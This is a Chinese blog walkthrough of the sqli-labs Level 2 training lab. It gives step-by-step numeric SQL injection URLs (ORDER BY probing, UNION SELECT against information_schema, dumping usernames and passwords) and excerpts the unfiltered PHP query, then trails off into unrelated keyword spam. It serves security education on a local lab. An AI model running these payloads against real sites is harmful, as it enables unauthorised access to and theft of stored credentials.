千家信息网

sqli-labs-master第二关:Error Based- Intiger

发表于:2026-11-01 作者:千家信息网编辑
千家信息网最后更新 2026年11月01日,接上篇博客:https://blog.51cto.com/tdcqvip/2060816来到第二关:http://127.0.0.1/sqli-labs-master/Less-2/访问http://
千家信息网最后更新 2026年11月01日sqli-labs-master第二关:Error Based- Intiger

接上篇博客:https://blog.51cto.com/tdcqvip/2060816


来到第二关:


http://127.0.0.1/sqli-labs-master/Less-2/



访问http://127.0.0.1/sqli-labs-master/Less-2/?id=1



判断是否有注入点:

and 1 = 1 返回正常

http://127.0.0.1/sqli-labs-master/Less-2/?id=1 and 1 = 1 %23



and 1 = 2 返回失败

http://127.0.0.1/sqli-labs-master/Less-2/?id=1 and 1 = 2 %23



说明存在注入点:

order by n 查看字段

当n=3时返回正确

http://127.0.0.1/sqli-labs-master/Less-2/?id=1 order by 3 %23





当=4时返回错误

http://127.0.0.1/sqli-labs-master/Less-2/?id=1 order by 4 %23



说明字段是3

用union select 进行联合查询:

并用报错的方式显示显示位:

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,2,3 %23



通过上图可以看到显示位在2,3上。

用version()和database()查看php版本和当前网站用的数据库名字




我们通过上图可以看到数据库是"security" 版本是5.5.53

接下来我们查看数据库security下的表:

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'security' %23



通过上图可以看到有users表

查看users表里的列

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1, group_concat(column_name),3 from information_schema.columns where table_name = 'users' %23


接下来就是查看username和password里的内容:

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,username,password from users where id = 2 %23


结束:

声明:源代码被我改动了,所以在注入的时候才会显示出来查询语句


接下来看看源代码:

Less-2 **Error Based- Intiger**
Welcome    Dhakkan
"; if($row) { echo ""; echo 'Your Login name:'. $row['username']; echo "
"; echo 'Your Password:' .$row['password']; echo "
"; } else { echo ''; print_r(mysql_error()); echo ""; }} else { echo "Please input the ID as parameter with numeric value"; }?>




通过源代码我们可以看到,在连接数据库查询的时候并没有进行任何过滤

与第一关不同的地方就是

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

这句,没有"''"符号。


利用方式大致相同。


第三关尽快更新


微信公众号:


数据 数据库 接下来 上图 源代码 查询 字段 就是 方式 时候 版本 不同 相同 上篇 公众 内容 博客 名字 地方 符号 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 互联网科技公司 互联网科技公司经营范围 盈实互联网科技 互联网最新的科技有限公司 重庆互联网络科技 北京互联网科技公司 互联网科技logo 人人互联网科技是培训 山东吉时兔互联网科技有限公司 老年人脱离互联网科技的作文 中化能源互联网科技招聘 受益于互联网科技的高速发展 河南猎农互联网科技有限公司 中和天地互联网科技有限公司 广州百诚互联网科技有限公司官网 江苏互联网智能科技软件 科技信息时代互联网发展 亚光科技低轨卫星互联网 互联网科技创业计划的风险分析 伍佰万互联网科技是干嘛的 互联网科技作文 朗涯互联网科技 西安互联网科技公司 互联网金融 科技创新 上海卓越科技 互联网 杭州壁岐互联网科技有限公司 科技赋能视角下互联网保险发展 互联网科技机房 广西科技产业互联网是什么 保山互联网科技靠谱吗
0